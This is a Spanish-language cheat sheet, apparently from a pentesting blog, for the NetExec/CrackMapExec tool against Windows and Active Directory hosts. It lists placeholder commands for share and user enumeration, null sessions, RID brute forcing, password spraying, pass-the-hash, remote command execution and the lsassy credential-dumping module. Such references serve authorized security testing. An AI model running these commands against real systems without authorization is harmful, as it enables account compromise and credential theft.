CrackMapExec / NetExec

Por Alejandro Lopez Aguilar ·

NetExec (`nxc`) es el sucesor moderno de CrackMapExec (`crackmapexec`/`cme`). Se usa para enumerar, validar credenciales y 
automatizar acciones en entornos Windows/Active Directory desde protocolos como SMB, WinRM, LDAP, MSSQL o RDP.

Uso básico

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u <usuario> -p '<password>'
nxc smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
nxc winrm <IP> -u <usuario> -p '<password>'
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Con CrackMapExec clásico la idea es equivalente:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
crackmapexec smb <IP/RANGO> -u <usuario> -p '<password>'
crackmapexec smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Enumeración SMB

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' --shares
nxc smb <IP> -u '<usuario>' -p '<password>' --users
nxc smb <IP> -u '<usuario>' -p '<password>' --groups
nxc smb <IP> -u '<usuario>' -p '<password>' --pass-pol
nxc smb <IP> -u '<usuario>' -p '<password>' --loggedon-users
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Acceso nulo o guest

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u 'guest' -p '' --shares
nxc smb <IP> -u '' -p '' --rid-brute
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
`--rid-brute` puede ayudar a descubrir usuarios cuando SMB permite enumeración por RID.

Password spraying

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u users.txt -p 'Password123!' --continue-on-success
nxc smb <IP/RANGO> -u users.txt -p passwords.txt --continue-on-success
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Para evitar bloqueos de cuenta, revisar siempre la política de contraseñas antes de hacer spraying:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <DC_IP> -u '<usuario>' -p '<password>' --pass-pol
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Pass The Hash

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -H '<NTLM_HASH>'
nxc winrm <IP> -u '<usuario>' -H '<NTLM_HASH>'
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Si aparece `Pwn3d!`, normalmente el usuario tiene permisos suficientes para ejecución remota sobre ese protocolo.

Ejecución de comandos

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' -x 'whoami'
nxc smb <IP> -u '<usuario>' -p '<password>' -X 'whoami'
nxc winrm <IP> -u '<usuario>' -p '<password>' -x 'whoami'
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
`-x` ejecuta comandos vía cmd y `-X` vía PowerShell.

Local Auth

Para probar credenciales locales en lugar de dominio:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u 'Administrator' -p '<password>' --local-auth
nxc smb <IP/RANGO> -u 'Administrator' -H '<NTLM_HASH>' --local-auth
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Módulos útiles

┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' -M spider_plus
nxc smb <IP> -u '<usuario>' -p '<password>' -M lsassy
nxc smb <IP> -u '<usuario>' -p '<password>' -M enum_av
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Para listar módulos disponibles:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nxc smb -L
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Referencias

~ NetExec Wiki - SMB shares
~ CrackMapExec Wiki - SMB Command Reference